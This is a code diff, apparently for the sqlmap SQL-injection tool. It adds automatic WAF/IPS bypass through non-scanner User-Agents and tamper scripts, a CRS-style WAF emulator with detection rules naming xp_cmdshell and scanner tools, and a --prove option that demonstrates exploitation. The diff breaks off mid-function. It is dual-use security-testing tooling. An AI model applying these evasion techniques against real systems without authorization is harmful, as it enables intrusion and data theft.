2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -053079fe796dfce09cf94ac6f094043f2dfa393b5631387fadb4f735cf1ac6a4 lib/parse/cmdline.py +14b2fcfa2d6c3a155e3b85f093929c6129893ad191d1988a717daa1ffbb422e7 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -254,6 +254,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py e7d31de0e268c129ee11c590eb618f73a85e1022c08b8ed1f77753043c949214 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py +0aeb890fb6b0783f25df7c1ba7c9d0098325b4f7a677ff0151e411be24760f04 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py f635872093a12cd63a72d77adf88e8f8cd4084a5cc64384f12966cd75a499bdf lib/utils/safe2bin.py de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/search.py @@ -262,6 +263,7 @@ de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/sear f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084 lib/utils/timeout.py f821dc39a75ea48dccfa758788de15d38b9ca6a780a98f59935fb6610f75508c lib/utils/tui.py e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef lib/utils/versioncheck.py +b3c5109394f6c3cdd73a524a737b36cca7ecc56619f2a5f801eb1e7f1bfdb78b lib/utils/wafbypass.py 1b439fc59fd202c21c74978ed9f36d1c309533226c77907eae159461525f9fef lib/utils/xrange.py b1bbb62f5b272a6247d442d5e4f644a5bca7138e70776539ec84a5a90433fd13 LICENSE 6b1828a80ae3472f1adb53a540dee0835eccac14f8cfc4bf73962c4e49a49557 plugins/dbms/access/connector.py @@ -501,6 +503,7 @@ cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostro 11ad15d66c43f32f5d0a39052e5f623a4752ad4fb275d642f2e4cd841ff82b41 tamper/base64encode.py 1b55b7c59c623411c8cf328fff9e7de96a2dfc48ef4e5455325bfd41aebbbc13 tamper/between.py 6e72b92662185a56847cca235106bc354bd6a10e3e89a135b9ea8fa09cd8eb34 tamper/binary.py +3fb1a7f8a37d8a49fb88fa880e163ff75a2b224c4a7799abe29bec1a367d5273 tamper/blindbinary.py f833cfbb53e6849ed1b3b554ec1c973f85e6d41ebd62f94f8e0dcf0ba5da2f49 tamper/bluecoat.py 69c7eb987dec666da227ee1024c31b89ad324a3f7cab287ada6dade7f51c8a36 tamper/chardoubleencode.py c7892bff56b2b85dfdf9f24c783c569edac57a3fd5a254cf4554987a374206c9 tamper/charencode.py @@ -524,6 +527,7 @@ d05dafb86e82807e75bb8f54dcd6afbb4a08ba3b83b35562fee7f7022a75dbd7 tamper/if2case 55092820a856f583cf1b661001b60216886d172cb7d0008920bf4ab3df88aff0 tamper/ifnull2casewhenisnull.py eeda2b2fd54a4aa5fcf5630f8bfae43e0a38a840ae908e2f6b0878959067413c tamper/ifnull2ifisnull.py 94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1 tamper/informationschemacomment.py +ff07320cb134520c3be99407b5c1e67528f944c6a12838ab583716622e877a95 tamper/infoschema2innodb.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 tamper/__init__.py 017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae tamper/least.py d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291 tamper/lowercase.py @@ -606,6 +610,7 @@ b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_tar 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py 23ffd75b5aec33066e6d6aad01ab2c9c1b12ee20c1a0990f8f1be81f1ad16161 tests/_testutils.py 2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py +93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 05cdab2ef..47ba2cb0b 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -24,6 +24,7 @@ UNICODE_ENCODING = "utf-8" DEBUG = False if PY3: + from http.client import FORBIDDEN from http.client import INTERNAL_SERVER_ERROR from http.client import NOT_FOUND from http.client import OK @@ -35,6 +36,7 @@ if PY3: else: from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer + from httplib import FORBIDDEN from httplib import INTERNAL_SERVER_ERROR from httplib import NOT_FOUND from httplib import OK @@ -157,6 +159,53 @@ class ThreadingServer(ThreadingMixIn, HTTPServer): if DEBUG: traceback.print_exc() +# Primitive (CRS-style) WAF/IPS emulator used to exercise the automatic WAF/IPS bypass. The request +# surface is normalized like a real WAF (lowercase, comments->space, whitespace compressed) BEFORE +# a cumulative anomaly score is summed; when the score reaches the per-level threshold the request +# is blocked (403 + marker). The rules are shaped so that camouflage tampers (case/whitespace/ +# comments) are normalized away and a *structural* substitution (e.g. 'between'/'equaltolike', +# which removes the scored '=' operator) is the genuine bypass - matching real-world behavior. +# +# The emulator also models the OTHER real-world dimension: a scanner-fingerprint rule (mirroring +# CRS 913100) adds a constant score for a recognizable scanner User-Agent that *stacks* with the +# payload score. Its weight is below every threshold, so the scanner UA alone never blocks (benign +# browsing passes), but it tips an otherwise-permitted payload over the threshold - so neutralizing +# the request fingerprint (a non-scanner User-Agent) is itself a genuine bypass, with no SQL tamper. +WAF_NUMERIC_COMPARISON = r"\d+\s*=\s*\d+" # numeric self-comparison (boolean payloads); the structural lever 'between'/'equaltolike' removes it +WAF_RULES = ( + (r"\bunion\b.{0,40}\bselect\b", 6), + (r"\binformation_schema\b", 5), + (r"\b(sleep|benchmark|extractvalue|updatexml|xp_cmdshell|waitfor)\b", 5), + (r"\b(select|insert|update|delete|drop)\b", 3), + (WAF_NUMERIC_COMPARISON, 4), + (r" cumulative score that triggers a block +WAF_SCANNER_UA = r"(?i)\b(?:sqlmap|nikto|nessus|acunetix|nmap|masscan|w3af|havij|wpscan|dirbuster|arachni)\b" +WAF_SCANNER_UA_WEIGHT = 3 # CRS 913100-style: constant score for a scanner User-Agent, stacked with the payload score + +# Levels 4-5 model a libinjection-class WAF (e.g. OWASP CRS rule 942100): ANY boolean-comparison +# fingerprint scores a flat amount REGARDLESS of operator, so '=','LIKE','BETWEEN','IN' are all +# caught equally - structural tampers (between/equaltolike) do NOT help. There, neutralizing the +# scanner fingerprint is the only payload-preserving bypass (level 4); when even that is not enough +# the search must bail honestly (level 5). This mirrors the hardest real-world case. +WAF_LIBINJECTION_LEVELS = (4, 5) +WAF_LIBINJECTION_WEIGHT = 5 +WAF_LIBINJECTION = r"(?i)\b(?:and|or)\b.{0,40}(?:=|>|<|\blike\b|\bbetween\b|\bin\b|\brlike\b|\bregexp\b)" + +def waf_score(value, ua=None, level=0): + value = (value or "").lower() + value = re.sub(r"/\*.*?\*/", " ", value) # t:replaceComments (note: -> single space, not empty) + value = re.sub(r"(?:--|#)[^\n]*", " ", value) # t:removeComments (line comments) + value = re.sub(r"\s+", " ", value) # t:compressWhitespace + libinjection = level in WAF_LIBINJECTION_LEVELS + retVal = sum(weight for (pattern, weight) in WAF_RULES if not (libinjection and pattern == WAF_NUMERIC_COMPARISON) and re.search(pattern, value)) + if libinjection and re.search(WAF_LIBINJECTION, value): # operator-agnostic comparison score (tampers cannot remove it) + retVal += WAF_LIBINJECTION_WEIGHT + if ua and re.search(WAF_SCANNER_UA, ua): # scanner-fingerprint score, stacked with the payload score + retVal += WAF_SCANNER_UA_WEIGHT + return retVal + class ReqHandler(BaseHTTPRequestHandler): def do_REQUEST(self): path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") @@ -198,6 +247,22 @@ class ReqHandler(BaseHTTPRequestHandler): self.url, self.params = path, params + # primitive WAF/IPS emulator (opt-in via 'security_level' param; 0/absent = off) + try: + level = int(self.params.get("security_level", 0) or 0) + except (TypeError, ValueError): + level = 0 + + if level > 0: + surface = "%s %s" % (unquote_plus(query), getattr(self, "data", "") or "") + if waf_score(surface, ua=self.params.get("user-agent"), level=level) >= WAF_THRESHOLD.get(level, 2): + self.send_response(FORBIDDEN) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(b"Request blocked: security policy violation (WAF)") + return + if self.url == "/csrf": if self.params.get("csrf_token") == _csrf_token: self.url = "/" diff --git a/lib/controller/action.py b/lib/controller/action.py index a1413a622..b61535481 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -8,11 +8,14 @@ See the file 'LICENSE' for copying permission from lib.controller.handler import setHandler from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import CONTENT_TYPE +from lib.core.enums import DBMS +from lib.core.enums import HASHDB_KEYS from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.settings import SUPPORTED_DBMS @@ -30,8 +33,41 @@ def action(): # First of all we have to identify the back-end database management # system to be able to go ahead with the injection + # automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error + # page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads + # and flood the run with 403s) and assume that DBMS, so the user gets a usable result + if kb.wafBypass and not conf.forceDbms: + fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else []) + fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None) + if fallback: + logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback) + conf.forceDbms = fallback + setHandler() + if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF + hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms()) + + # automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a + # libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS: + # * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) - + # otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables"; + # * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the + # ORD/MID function names scored by 942151/942190); + # * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto + # 'mysql.innodb_table_stats', which is not on those blocklists. + # (blindbinary also reshapes PostgreSQL, but full extraction through the CRS proxy garbles there - an + # open issue - so PG is not auto-applied; it stays available as manual '--tamper=blindbinary'.) + if kb.wafBypass and Backend.getIdentifiedDbms() == DBMS.MYSQL: + kb.data.has_information_schema = True + if not conf.tamper: + from lib.utils.wafbypass import loadTamper + for _name in ("blindbinary", "infoschema2innodb"): + function = loadTamper(_name) + if function is not None and function not in (kb.tamperFunctions or []): + kb.tamperFunctions = (kb.tamperFunctions or []) + [function] + logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS") + if not Backend.getDbms() or not conf.dbmsHandler: htmlParsed = Format.getErrorParsedDBMSes() diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 328b457a8..f74acb796 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1351,6 +1351,10 @@ def checkWaf(): warnMsg = "previous heuristics detected that the target " warnMsg += "is protected by some kind of WAF/IPS" logger.critical(warnMsg) + if hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_BYPASS, True): # re-apply a previously accepted automatic bypass + from lib.utils.wafbypass import neutralizeFingerprint + kb.wafBypass = True + neutralizeFingerprint() return _ if not kb.originalPage: @@ -1393,6 +1397,7 @@ def checkWaf(): hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) + if retVal: if not kb.identifiedWafs: warnMsg = "heuristics detected that the target " @@ -1406,9 +1411,19 @@ def checkWaf(): if not choice: raise SqlmapUserQuitException else: - if not conf.tamper: - warnMsg = "please consider usage of tamper scripts (option '--tamper')" - singleTimeWarnMessage(warnMsg) + if not conf.tamper and not kb.tamperFunctions: + message = "do you want sqlmap to try to automatically bypass the WAF/IPS during " + message += "the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] " + kb.wafBypass = readInput(message, default='Y', boolean=True) + hashDBWrite(HASHDB_KEYS.CHECK_WAF_BYPASS, kb.wafBypass, True) + if kb.wafBypass: + # apply it up-front so the whole run (detection included) avoids the scanner + # fingerprint, instead of getting blocked first and only then retrying + from lib.utils.wafbypass import neutralizeFingerprint + neutralizeFingerprint() + logger.info("using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS") + else: + singleTimeWarnMessage("please consider manual usage of tamper scripts (option '--tamper')") return retVal diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 584158236..afe65d9d7 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -76,6 +76,7 @@ from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import LOW_TEXT_PERCENT from lib.core.settings import REFERER_ALIASES from lib.core.settings import USER_AGENT_ALIASES +from lib.core.settings import WAF_BYPASS_MAX_TRIALS from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv from lib.utils.hash import crackHashFile @@ -168,6 +169,57 @@ def _formatInjection(inj): return data +def _autoWafBypass(place, parameter, value): + """ + Automatic WAF/IPS bypass (offered interactively once a WAF/IPS is detected, cached in + kb.wafBypass). The request fingerprint has already been neutralized up-front (non-scanner + User-Agent, see checkWaf), so here the empirically-ranked candidate tamper scripts are trialled + and the first that RESTORES a confirmed injection is adopted. Re-running checkSqlInjection() + through a candidate is itself the validation - it succeeds only if the resulting payload both + passes the WAF and stays valid SQL, so junk/incompatible candidates are rejected automatically. + """ + + from lib.utils.wafbypass import candidateTampers, loadTamper + + retVal = None + + savedTamper = kb.tamperFunctions + savedTechnique = conf.technique + conf.technique = [PAYLOAD.TECHNIQUE.BOOLEAN] # bound each trial to a quick boolean re-check + + candidates = candidateTampers(identifiedWafs=kb.identifiedWafs) + + try: + for count, name in enumerate(candidates): + if count >= WAF_BYPASS_MAX_TRIALS: + break + + function = loadTamper(name) + if function is None: + continue + + kb.tamperFunctions = [function] + logger.info("trying to bypass the WAF/IPS with tamper script '%s'" % name) + + injection = checkSqlInjection(place, parameter, value) + if getattr(injection, "place", None) is not None and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: + logger.info("bypassed the WAF/IPS by using tamper script '%s' (with a non-scanner User-Agent)" % name) + logger.info("the same result can be reproduced manually with switch '--random-agent' and tamper script '%s'" % name) + retVal = injection + return retVal + + if kb.droppingRequests and count >= 2: + logger.warning("target keeps dropping requests; giving up on the WAF/IPS bypass") + break + finally: + conf.technique = savedTechnique + if retVal is None: # nothing worked - leave tampering untouched + kb.tamperFunctions = savedTamper + # honest bail: say it could not be bypassed and what to try manually + logger.warning("unable to automatically bypass the WAF/IPS; it might be using behavioral or rate-based detection (consider a manual '--tamper' selection, '--delay', or '--proxy' rotation)") + + return retVal + def _showInjections(): if conf.wizard and kb.wizardMode: kb.wizardMode = False @@ -626,6 +678,14 @@ def start(): logger.info(infoMsg) injection = checkSqlInjection(place, parameter, value) + + # WAF/IPS bypass accepted: the parameter looks injectable (heuristics) but + # the standard payloads were blocked -> try to auto-bypass it (request + # fingerprint neutralization and/or a tamper script) + if getattr(injection, "place", None) is None and kb.wafBypass and check == HEURISTIC_TEST.POSITIVE \ + and not conf.tamper and not kb.tamperFunctions: + injection = _autoWafBypass(place, parameter, value) or injection + proceed = not kb.endDetection injectable = False @@ -754,7 +814,12 @@ def start(): condition = True if condition: - action() + try: + action() + finally: + if conf.prove: + from lib.utils.prove import proveExploitation + proveExploitation() except KeyboardInterrupt: if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1): diff --git a/lib/core/enums.py b/lib/core/enums.py index 137be5d02..ed3325025 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -288,6 +288,7 @@ class HASHDB_KEYS(object): DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" + CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS" CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT" CONF_TMP_PATH = "CONF_TMP_PATH" KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS" diff --git a/lib/core/option.py b/lib/core/option.py index 516a82ee1..118ba15ae 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2237,6 +2237,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.udfFail = False kb.unionDuplicates = False kb.unionTemplate = None + kb.wafBypass = None kb.webSocketRecvCount = None kb.wizardMode = False kb.xpCmdshellAvailable = False diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index c7e8c9717..1631bd051 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -100,6 +100,7 @@ optDict = { "prefix": "string", "suffix": "string", "tamper": "string", + "prove": "boolean", }, "Detection": { diff --git a/lib/core/settings.py b/lib/core/settings.py index 92280490b..1d06f132f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.119" +VERSION = "1.10.6.120" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -54,6 +54,33 @@ IPS_WAF_CHECK_RATIO = 0.5 # Timeout used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_TIMEOUT = 10 +# Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value +# (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS +# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection +# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded. +WAF_BYPASS_TAMPERS = ( + "equaltolike", + "between", + "greatest", + "charencode", + "randomcase", + "space2comment", + "versionedkeywords", + "space2hash", +) + +# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass +WAF_BYPASS_MAX_TRIALS = 8 + +# Browser-like request headers applied alongside the random (non-scanner) User-Agent during +# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a +# non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just +# the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation. +WAF_BYPASS_HTTP_HEADERS = ( + ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"), + ("Accept-Language", "en-US,en;q=0.5"), +) + # Timeout used in checking for existence of live-cookies file LIVE_COOKIES_TIMEOUT = 120 diff --git a/lib/core/testing.py b/lib/core/testing.py index 265104231..8ab1aaa1a 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -56,6 +56,12 @@ def vulnTest(): ("-u \"&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-u \"&json=1\" -p id --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # JSON-response detection via the structure-aware oracle (no --string hint) + ("-u --data=\"security_level=1\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass: request-fingerprint dimension (a non-scanner User-Agent, applied up-front, restores detection) + ("-u --data=\"security_level=2\" -p id --flush-session --technique=B --banner", ("bypassed the WAF/IPS by using tamper script", "reproduced manually with switch '--random-agent' and tamper script", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass: SQL-tamper dimension (structural substitution) on top of the non-scanner User-Agent + ("-u --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold + ("-u --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does + ("-u --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat + ("-u -p id --flush-session --prove", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --prove: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 648235604..f3e99ecf4 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -375,6 +375,9 @@ def cmdLineParser(argv=None): injection.add_argument("--tamper", dest="tamper", help="Use given script(s) for tampering injection data") + injection.add_argument("--prove", dest="prove", action="store_true", + help="Prove exploitation of the detected injection point(s)") + # Detection options detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase") diff --git a/lib/utils/prove.py b/lib/utils/prove.py new file mode 100644 index 000000000..f435e6b37 --- /dev/null +++ b/lib/utils/prove.py @@ -0,0 +1,351 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os + +from lib.core.common import Backend +from lib.core.common import average +from lib.core.common import openFile +from lib.core.common import randomInt +from lib.core.common import stdev +from lib.core.common import unArrayizeValue +from lib.core.common import urldecode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.core.enums import HTTPMETHOD +from lib.core.enums import PAYLOAD +from lib.core.enums import PLACE +from lib.core.settings import INFERENCE_MARKER +from lib.core.settings import SLEEP_TIME_MARKER +from lib.request.inject import getValue + +# how many times a true/false condition is re-evaluated to demonstrate repeatability (kills false positives) +PROVE_REPETITIONS = 5 + +# comparison knobs that decide true/false at request time (lib/request/comparison.py reads these globals, +# not injection.conf); they must be re-pointed at the injection being proven or the oracle returns None +_COMPARISON_ATTRS = ("string", "notString", "regexp", "code", "textOnly", "titles") + +# width the field labels are padded to, so the values line up in a clean column +_LABEL_WIDTH = 9 + + +def _field(label, value): + """ + Renders one 'Label: value' line (value column aligned), with any extra list items as continuation + lines indented under the value. + """ + + lines = list(value) if isinstance(value, (list, tuple)) else [value] + indent = " " * (_LABEL_WIDTH + 2) + retVal = "%s:%s%s" % (label, " " * (_LABEL_WIDTH - len(label) + 1), lines[0] if lines else "") + for extra in lines[1:]: + retVal += "\n%s%s" % (indent, extra) + return retVal + + +def _activateInjection(injection): + """ + Points the global comparison configuration (and kb.injection) at the injection being proven, so the + boolean oracle / data retrieval use that injection's own distinguishing signal regardless of what the + globals drifted to during enumeration. Returns the previous state for restoration. + """ + + saved = dict((_, getattr(conf, _)) for _ in _COMPARISON_ATTRS) + saved["injection"] = kb.injection + + for attr in _COMPARISON_ATTRS: + setattr(conf, attr, getattr(injection.conf, attr, None)) + kb.injection = injection + + return saved + + +def _restoreInjection(saved): + kb.injection = saved.pop("injection") + for attr, value in saved.items(): + setattr(conf, attr, value) + + +def _booleanOracle(expression): + """ + Evaluates a boolean expression strictly through the boolean (inferential) technique. UNION/error are + forced off on purpose: for a multi-technique injection getValue() would try those first, and a WAF/IPS + that blocks their function-heavy payloads makes them return None, which (with expectingNone) short- + circuits the whole call before the boolean technique is ever reached - the real cause of a 0/0 reading. + """ + + return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=True, union=False, error=False, time=False) + + +def _signalArtifacts(expression): + """ + Evaluates 'expression' through the boolean oracle and reads back the (HTTP code, page ) of the + response it produced (queryPage stores both in thread data), so the boolean proof can quote the actual + TRUE/FALSE codes and titles rather than a generic flag. Returns (None, None) on any error. + """ + + from lib.core.common import extractRegexResult, getCurrentThreadData + from lib.core.settings import HTML_TITLE_REGEX + + try: + _booleanOracle(expression) + threadData = getCurrentThreadData() + return threadData.lastCode, (extractRegexResult(HTML_TITLE_REGEX, threadData.lastPage or "") or "").strip() + except Exception: + return None, None + + +def _proveBoolean(injection): + """ + Demonstrates deterministic boolean control, rendered with the distinguishing signal sqlmap already + auto-selected (--string / --code / --title), repeated to show it is stable (not a fluke). The signal + line quotes the actual distinguishing artifact: the matched string, the two HTTP codes, or the two + page titles - so a reader sees exactly what tells TRUE from FALSE. + """ + + retVal = [] + n = randomInt() + + trues = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n))) + falses = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n + 1)) is False) + + line = "condition %d=%d returns TRUE (%d/%d) while %d=%d returns FALSE (%d/%d)" % (n, n, trues, PROVE_REPETITIONS, n, n + 1, falses, PROVE_REPETITIONS) + if trues == PROVE_REPETITIONS and falses == PROVE_REPETITIONS: + line += ", repeatably" # only claim repeatability when every repetition agreed + retVal.append(line) + + trueCode = trueTitle = falseCode = falseTitle = None + if injection.conf.code or injection.conf.titles: # fetch the real artifacts only when the signal needs them + trueCode, trueTitle = _signalArtifacts("%d=%d" % (n, n)) + falseCode, falseTitle = _signalArtifacts("%d=%d" % (n, n + 1)) + + if injection.conf.string: + retVal.append("the response contains %s only when the condition is TRUE" % repr(injection.conf.string).lstrip('u')) + elif injection.conf.notString: + retVal.append("the response contains %s only when the condition is FALSE" % repr(injection.conf.notString).lstrip('u')) + elif injection.conf.code: + if trueCode and falseCode and trueCode != falseCode: + retVal.append("the response returns HTTP %s when the condition is TRUE and HTTP %s when it is FALSE" % (trueCode, falseCode)) + else: + retVal.append("the response returns HTTP %s only when the condition is TRUE (a different code otherwise)" % injection.conf.code) + elif injection.conf.titles: + if trueTitle and falseTitle and trueTitle != falseTitle: + retVal.append("the page title is %s when the condition is TRUE and %s when it is FALSE" % (repr(trueTitle).lstrip('u'), repr(falseTitle).lstrip('u'))) + else: + retVal.append("the page <title> differs between the TRUE and FALSE responses") + else: + retVal.append("the TRUE response matches the original page while the FALSE one differs (content similarity)") + + return retVal + + +def _proveTime(injection): + """ + Demonstrates time-based blind in plain IT language (jitter / latency / controlled delay), keeping the + statistics under the hood. Where the payload uses a parameterizable delay (SLEEP(n)/pg_sleep(n)/WAITFOR), + it sweeps the injected delay (0 / T / 2T seconds) and shows the response time tracks it ~1:1 - a controlled + delay that network latency or a slow page cannot reproduce. Otherwise (heavy-query delays) it falls back to + a baseline-vs-jitter statement. + """ + + from lib.core.agent import agent + from lib.core.common import getCurrentThreadData, popValue, pushValue + from lib.request.connect import Connect as Request + + retVal = [] + stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED + vector = (injection.data.get(stype) or {}).get("vector") + + def _baselineStatement(): + baseline = kb.responseTimes.get(kb.responseTimeMode) or [] + if len(baseline) >= 2: + return "a TRUE condition delays the response well beyond the target's normal latency ~%.3fs (jitter ~%.3fs), repeatably" % (average(baseline), stdev(baseline)) + return "a TRUE condition delays the response well beyond the target's normal latency and jitter, repeatably" + + if not (vector and 